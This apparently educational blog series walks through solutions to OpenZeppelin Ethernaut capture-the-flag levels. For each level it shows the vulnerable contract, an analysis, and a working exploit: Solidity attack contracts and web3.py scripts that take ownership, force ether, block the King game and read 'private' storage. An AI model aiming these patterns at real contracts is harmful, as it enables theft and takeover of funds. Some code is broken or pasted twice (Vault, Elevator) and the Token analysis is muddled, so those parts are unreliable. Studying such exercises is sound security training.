本系列是OpenZeppelin Ethernaut CTF 的闯关记录,旨在边玩边学习 Solidity 安全
#0 Hello Ethernaut#
1. Set up MetaMask#
安装 MetaMask 插件,略
2. Open the browser's console#
输入player
查看自己钱包的地址
3. Use the console helpers#
调用getBalance(player)
进行交互
4. The ethernaut contract#
输入ethernaut
查看合约信息
5. Interact with the ABI#
合约的 ABI 接口会暴露合约的 public 方法,可以进行一些简单的交互比如ethernaut.owner()
6. Get test ether#
上水龙头领 ETH
https://faucets.chain.link/rinkeby
7. Getting a level instance#
生成合约实例
8. Inspecting the contract#
9. Interact with the contract to complete the level#
根据指示进行层层调用
WIn!
附上通关后给出的完整合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
#1 Fallback#
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
通关条件
- 获得这个合约的所有权
- 把他的余额减到 0
这可能有帮助
- 如何通过与 ABI 互动发送 ether
- 如何在 ABI 之外发送 ether
- 转换 wei/ether 单位 (参见
help()
命令) - Fallback 方法
首先观察合约,要获得合约的所有权则要使owner=msg.sender
除了构造方法外,只有两个入口满足
接下来分析下被触发的可能性
在contribute()
中需要msg.sender
的贡献值大于owner
, 而owner
的贡献值为1000eth
, 因此我们很难利用这个函数
再来看看receive()
函数,只需要触发这个函数并且满足msg.value
和msg.sender
的贡献值大于 0 即可
而对于receive()
和fallback
的触发由下图可以表示
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
所以整体攻击思路如下
1. 先调用contribute()
同时设置msg.value < 0.001 eth
2. 调用转账,设置msg.value = 0.0001
(大于 0 即可),以触发receive()
3. 调用withdraw()
,转空合约
攻击流程
然后进行 check
#2 Fallout#
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
通关条件
1. 获得合约所有权
合约分析
这个合约实现了类似存款取款查询余额的功能
和上题一样,要获得合约所有权就得关注owner = msg.sender
代码
经过仔细的对比,发现Fal1out()
和Fallout
相差一个字符,所以这个合约并无构造函数,而Fal1out()
只是作为一个 public 的方法而存在,那么只要调用这个函数即可
攻击流程
通过查看owner
地址是默认值可以证实我们上述分析
调用并完成攻击即可获得合约拥有权
Win!
#3 Coin Flip#
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通过条件
consecutiveWins
大于 10
合约分析
FACTOR 的值其实就是就是 2^255, 可以使区块的 hash 随机分至 true/false
而攻击这个合约最重要的一点就是知道它的blockValue
又由于我们只能通过block.number
获取当前交易所处的区块,由于以太坊网络中的交易一直在持续进行,下一次交易的区块大概率会变更。
不过如果我们能够控制攻击合约和被攻击合约的交易的时间差极小,就能使其他们的交易属于同一个区块
我们可以通过攻击合约先计算当前的blockValue
和coinFlip
再调用被攻击合约的flip()
就能使得每次的 guess 都正确了,然后再调用十次攻击合约,就能使得consecutiveWins
大于 10
Exp
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '../SafeMath.sol';
// 利用 多笔交易同一区块的特性
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Attack {
using SafeMath for uint256;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip hackFilp;
function Target(address target) public {
hackFilp = CoinFlip(target);
}
function flip() public {
uint blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue){
revert();
}
lastHash = blockValue;
uint coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if(side == true){
// 调用被攻击者的合约的flip函数 flip(true);
hackFilp.flip(true);
}else{
// 调用被攻击者的合约的flip函数 flip(false);
hackFilp.flip(false);
}
}
}
攻击流程
获取被攻击合约地址
进行攻击合约的部署和初始化Target
调用一次flip()
后
连续调用 10 次即可
Win!!
#4 Telephone#
考察内容:tx.origin
合约代码#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
通过条件#
- 获得合约的所有权
合约分析#
整个合约代码很短,出现了一个之前没有接触过的概念tx.origin
, 它的值是遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址
那么我们只要使得调用changeOwner
的地址不是和被攻击合约的msg.sender
相同即可
那么就可以通过部署一个攻击合约然后达成间接调用的目的
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Attack {
Telephone hackTelphone;
function Init(address _address) public{
hackTelphone = Telephone(_address);
}
function attack() public {
hackTelphone.changeOwner(msg.sender);
}
}
攻击流程#
获取被攻击合约的地址
部署攻击合约并调用attack()
查看contract.owner
时发现已经改变了
Win!!
#5 Token#
考察内容:外部账户和合约账户、整数溢出
合约代码#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
通过条件#
- 增加手中的 token 数量
合约分析#
依旧是外部账户和合约账户的问题,一个外部账户可以创建多个合约账户。
这里贴上 CTFWIKI 上面的解释
在这里我们可以调用将合约账户里面的初始的token
转到外部账户
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token { // 外部账户和合约账户的区别
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract Attack {
Token hackToken;
function init(address _addr) public {
hackToken = Token(_addr);
}
function hack() public {
hackToken.transfer(msg.sender,5);
}
}
攻击流程#
获取被攻击合约地址
部署攻击合约
发现外部账户的 token 数量已经发生了改变
win!!
题外话 —— 整数溢出漏洞#
值得注意的是这里的版本小于 0.8.0,如果不用safeMath
库的话是会存在整数溢出漏洞的
我们可以将这里的攻击代码改成下图形式
发现可以绕过这里的校验 即20-21=2^256-1
#6 Delegation#
考察内容:Delegation 攻击
合约代码#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
通过条件#
- 将 Delegation 合约的 owner 修改成 Attacker 的
前置知识(合约调用的三种方式)#
_Name (_Address).f () 形式#
通常利用合约的地址和合约代码 (ABI 接口) 来创建合约的引用:_Name(_Address)
,其中_Name
是合约名,_Address
是合约地址。然后用合约的引用来调用它的函数:_Name(_Address).f()
,其中f()
是要调用的函数
Call#
call
是address
类型的低级成员函数,它用来与其他合约交互。它的返回值为(bool, data)
,分别对应call
是否成功以及目标函数的返回值。
Call
的使用规则:
目标合约地址.call{value:发送数额, gas:gas数额}(abi.encodeWithSignature("函数签名", 逗号分隔的具体参数))
Delegatecall#
Delegatecall
的使用规则与Call
类似,一个比较大的区别是执行上下文的不同。
Call 的执行上下文
DelegateCall
的执行上下文
合约分析#
题目给了两个合约,一个是Delegate
合约,是被委托执行的合约,另一个是Delegation
合约,是委托他人执行的合约
首先来分析Delegate
合约,这个合约的内容很简单,唯一一个比较引人注意的便是pwn()
函数,pwn()
函数可以改变owner
,是优先利用的函数
再来看看Delegation
合约,这个合约里进行了DelegateCall
的操作,而我们需要对其进行触发,也就是触发fallback()
函数,而触发fallback()
函数则需要调用一个不存在的函数,而这个不存在的函数刚好用pwn()
函数替代便可以完成完整的触发链
Exp#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "pwn",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="pwn()")[0:10]
}
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
参考资料:WTF Academy
#7 Force#
考察内容:Selfdestruct 攻击
合约代码#
合约内没有内容!
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
通过条件#
- 使合约的 Balance>0
前置知识#
关于 Selfdestruct 可以看慢雾的文章, 笔者在此就不作赘述了
合约分析#
言简意赅,通过一个合约的 Selfdestruct 来进行强制转账
EXP#
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0-0.8.15;
contract Attack {
constructor() public payable{} // 使得可以在部署的时候接收eth,以便之后通过Selfdestruct转给被攻击合约
function attack(address addr) public {
selfdestruct(addr);
}
}
Win!
#8 Vault#
考察内容:访问私有数据
合约代码#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}xxxxxxxxxx // SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }}// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m)*/}
通过条件#
- 使合约的 locked = false
前置知识#
关于访问私有数据可以看慢雾的文章, 笔者在此就不作赘述了
合约分析#
言简意赅,访问到 password 所在的插槽的数据即可
而password
所在的是slot1
EXP#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32",
"name": "_password",
"type": "bytes32"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes32",
"name": "_password",
"type": "bytes32"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xec9b5b3a"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="pwn()")[0:10]
}
TransactionData = vul_contarct.functions['unlock'](password).buildTransaction({
'chainId': w3.eth.chain_id,
'from': account.address,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei')
})
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
Win!
#9 King#
考察内容:合约账户收到 Ether 的条件
合约代码#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
通过条件#
- 破坏合约,使得 king 的地址不能再被改变
前置知识#
对于一个合约账户,如果要实现接接收 ETH 的功能,需要在内部有关于receive
或fallback
函数的定义和实现。如果对于一个新创建的合约账户,想要在一开始就转入 ETH 的话,需要在构造函数上加上 payable 属性
合约分析#
这题的合约其实就是一个击鼓传花的游戏,后一个人向合约转 ETH, 前一个人就会收到后一个人转到合约中的 ETH,如此反复。而我们需要破坏这个合约的功能,也就是让 King 的地址不能再发生改变。那么只需要发送大于 prize 数量的 ETH,并且让发送的账户不能接收 transfer 函数的转账即可。
攻击流程#
获取 prize 的数量
await contract.prize().then(v => v.toString())
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
contract Attacker {
constructor(address payable _to) payable {
(bool success, ) = address(_to).call{value: msg.value}(""); // msg.value should > 1000000000000000
require(success, "failed");
}
}
Win!
#11 Elevator#
Keyword: Interface
Smart Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Passing Conditions#
- Make the value of
top
variable is true
Pre-Knowledge#
The concept of Interface is similar to that of other languages, so I won't go into it here.
For the following contract, if the contract address addr(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D)
has the implementation of the Interface-related function, when the function defined in the Interface is called by the variable BAYC
exemplified by the interface, the interaction will follow the logic of the implementation in the above contract address.
contract interactBAYC {
// Create interface contract variables using BAYC addresses (ETH Main NetWork)
IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
// Call BAYC's balanceOf() through the interface to query the position
function balanceOfBAYC(address owner) external view returns (uint256 balance){
return BAYC.balanceOf(owner);
}
// Call BAYC's safeTransferFrom() safe transfer via the interface
function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
BAYC.safeTransferFrom(from, to, tokenId);
}
}
This also creates a point of insecurity where we must keep track of whether there are risky implementations during the instantiation of interface contract variables.
And we can also define our own interface to an already existing contract and then instantiate it to call it, which also belongs to a function call approach.
Smart Contract Analysis#
Seeing the contract in this question, we can see that according to the logic of goTo
, top can never be true
. If we write an attack contract and implement the isLastFloor
function in the attack contract, so that the call to building.isLastFloor
returns false
at the beginning and true
at the second time, we can meet the requirement of false
. returns true
, it will be satisfied.。
EXP#
interface ElevatorInterface{
function goTo(uint) external;
}
contract Attack {
bool public top = false;
function isLastFloor(uint) external returns (bool){
bool first = top;
top = !top;
return first;
}
function hack(uint addr) public {
ElevatorInterface(addr).goTo(0);
}
}
#12 Privacy#
Keyword: Private Data Access
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
Conditions for passing the level#
- Make
locked = false
Pre-knowledge#
For access to private data you can see SlowMist's article,I won't go into details here.
Smart Contract Analysis#
Just getbytes16(data[2])
EXP#
from web3 import Web3
rpc_url = ''
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = ''
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0xf487e9888E58bBA039dD51ae9AEBB28F04fAfBFB'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32[3]",
"name": "_data",
"type": "bytes32[3]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "ID",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xb3cea217"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes16",
"name": "_key",
"type": "bytes16"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xe1afb08c"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot5 = w3.eth.get_storage_at(vul_addr,0x5)
_key = int(w3.toHex(slot5)[:34],16)
TransactionData = vul_contarct.functions['unlock'](w3.toBytes(_key)).buildTransaction({
'chainId': w3.eth.chain_id,
'from': account.address,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei')
})
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)